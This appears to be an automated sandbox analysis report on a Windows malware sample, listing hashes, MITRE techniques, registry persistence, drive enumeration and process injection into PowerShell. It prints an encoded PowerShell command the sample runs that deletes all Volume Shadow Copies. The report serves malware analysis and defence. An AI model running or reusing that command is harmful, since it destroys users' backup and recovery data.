e9e5459e32521a8ca1c075a96d3358337919321f5d149fe3a8cc5f6f57b33923

General

Target
e9e5459e32521a8ca1c075a96d3358337919321f5d149fe3a8cc5f6f57b33923.exe
Size 115KB
Sample201020-n1981nrlsx
SHA256 e9e5459e32521a8ca1c075a96d3358337919321f5d149fe3a8cc5f6f57b33923
MD5 0800618cde0d124c6616ef384fbe1434
SHA1 9404f15917b9a216242063d1b7759d891bf11314
SHA512 0dbedc86f146716a394af812e63e6b721c37cf1f49da07ac35d2106495b19a5f473344ab90a026e84441c4d0741c3b21ba1815616886ce692d6b6f03b0a45703
MD5 SHA1 SHA512

Score

6^/10

persistence

Malware Config

Signatures

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run	e9e5459e32521a8ca1c075a96d3358337919321f5d149fe3a8cc5f6f57b33923.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\BV7BRrErOX = "C:\\Users\\Admin\\AppData\\Local\\Temp\\e9e5459e32521a8ca1c075a96d3358337919321f5d149fe3a8cc5f6f57b33923.exe"	e9e5459e32521a8ca1c075a96d3358337919321f5d149fe3a8cc5f6f57b33923.exe

Enumerates connected drives 3 TTPs 24 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\A:	e9e5459e32521a8ca1c075a96d3358337919321f5d149fe3a8cc5f6f57b33923.exe
File opened (read-only)	\??\B:	e9e5459e32521a8ca1c075a96d3358337919321f5d149fe3a8cc5f6f57b33923.exe
File opened (read-only)	\??\E:	e9e5459e32521a8ca1c075a96d3358337919321f5d149fe3a8cc5f6f57b33923.exe
File opened (read-only)	\??\F:	e9e5459e32521a8ca1c075a96d3358337919321f5d149fe3a8cc5f6f57b33923.exe
File opened (read-only)	\??\Q:	e9e5459e32521a8ca1c075a96d3358337919321f5d149fe3a8cc5f6f57b33923.exe
File opened (read-only)	\??\S:	e9e5459e32521a8ca1c075a96d3358337919321f5d149fe3a8cc5f6f57b33923.exe
File opened (read-only)	\??\V:	e9e5459e32521a8ca1c075a96d3358337919321f5d149fe3a8cc5f6f57b33923.exe
File opened (read-only)	\??\M:	e9e5459e32521a8ca1c075a96d3358337919321f5d149fe3a8cc5f6f57b33923.exe
File opened (read-only)	\??\U:	e9e5459e32521a8ca1c075a96d3358337919321f5d149fe3a8cc5f6f57b33923.exe
File opened (read-only)	\??\W:	e9e5459e32521a8ca1c075a96d3358337919321f5d149fe3a8cc5f6f57b33923.exe
File opened (read-only)	\??\X:	e9e5459e32521a8ca1c075a96d3358337919321f5d149fe3a8cc5f6f57b33923.exe
File opened (read-only)	\??\G:	e9e5459e32521a8ca1c075a96d3358337919321f5d149fe3a8cc5f6f57b33923.exe
File opened (read-only)	\??\I:	e9e5459e32521a8ca1c075a96d3358337919321f5d149fe3a8cc5f6f57b33923.exe
File opened (read-only)	\??\K:	e9e5459e32521a8ca1c075a96d3358337919321f5d149fe3a8cc5f6f57b33923.exe
File opened (read-only)	\??\L:	e9e5459e32521a8ca1c075a96d3358337919321f5d149fe3a8cc5f6f57b33923.exe
File opened (read-only)	\??\R:	e9e5459e32521a8ca1c075a96d3358337919321f5d149fe3a8cc5f6f57b33923.exe
File opened (read-only)	\??\T:	e9e5459e32521a8ca1c075a96d3358337919321f5d149fe3a8cc5f6f57b33923.exe
File opened (read-only)	\??\H:	e9e5459e32521a8ca1c075a96d3358337919321f5d149fe3a8cc5f6f57b33923.exe
File opened (read-only)	\??\J:	e9e5459e32521a8ca1c075a96d3358337919321f5d149fe3a8cc5f6f57b33923.exe
File opened (read-only)	\??\N:	e9e5459e32521a8ca1c075a96d3358337919321f5d149fe3a8cc5f6f57b33923.exe
File opened (read-only)	\??\O:	e9e5459e32521a8ca1c075a96d3358337919321f5d149fe3a8cc5f6f57b33923.exe
File opened (read-only)	\??\P:	e9e5459e32521a8ca1c075a96d3358337919321f5d149fe3a8cc5f6f57b33923.exe
File opened (read-only)	\??\Y:	e9e5459e32521a8ca1c075a96d3358337919321f5d149fe3a8cc5f6f57b33923.exe
File opened (read-only)	\??\Z:	e9e5459e32521a8ca1c075a96d3358337919321f5d149fe3a8cc5f6f57b33923.exe

Modifies service 2 TTPs 5 IoCs

persistence

Modify Registry

T1112

Modify Existing Service

T1031

description	ioc	Process
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\SwProvider_{b5946137-7b9f-4925-af80-51abd60b20d5}	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Registry Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\COM+ REGDB Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\ASR Writer	vssvc.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\VSS\Diag\Shadow Copy Optimization Writer	vssvc.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
1264	e9e5459e32521a8ca1c075a96d3358337919321f5d149fe3a8cc5f6f57b33923.exe
1916	powershell.exe
1916	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	1264	e9e5459e32521a8ca1c075a96d3358337919321f5d149fe3a8cc5f6f57b33923.exe
Token: SeDebugPrivilege	1916	powershell.exe
Token: SeBackupPrivilege	452	vssvc.exe
Token: SeRestorePrivilege	452	vssvc.exe
Token: SeAuditPrivilege	452	vssvc.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 1264 wrote to memory of 1916	1264	e9e5459e32521a8ca1c075a96d3358337919321f5d149fe3a8cc5f6f57b33923.exe	28
PID 1264 wrote to memory of 1916	1264	e9e5459e32521a8ca1c075a96d3358337919321f5d149fe3a8cc5f6f57b33923.exe	28
PID 1264 wrote to memory of 1916	1264	e9e5459e32521a8ca1c075a96d3358337919321f5d149fe3a8cc5f6f57b33923.exe	28
PID 1264 wrote to memory of 1916	1264	e9e5459e32521a8ca1c075a96d3358337919321f5d149fe3a8cc5f6f57b33923.exe	28

C:\Users\Admin\AppData\Local\Temp\e9e5459e32521a8ca1c075a96d3358337919321f5d149fe3a8cc5f6f57b33923.exe
"C:\Users\Admin\AppData\Local\Temp\e9e5459e32521a8ca1c075a96d3358337919321f5d149fe3a8cc5f6f57b33923.exe"
1⤵
- Adds Run key to start application
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1264
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1916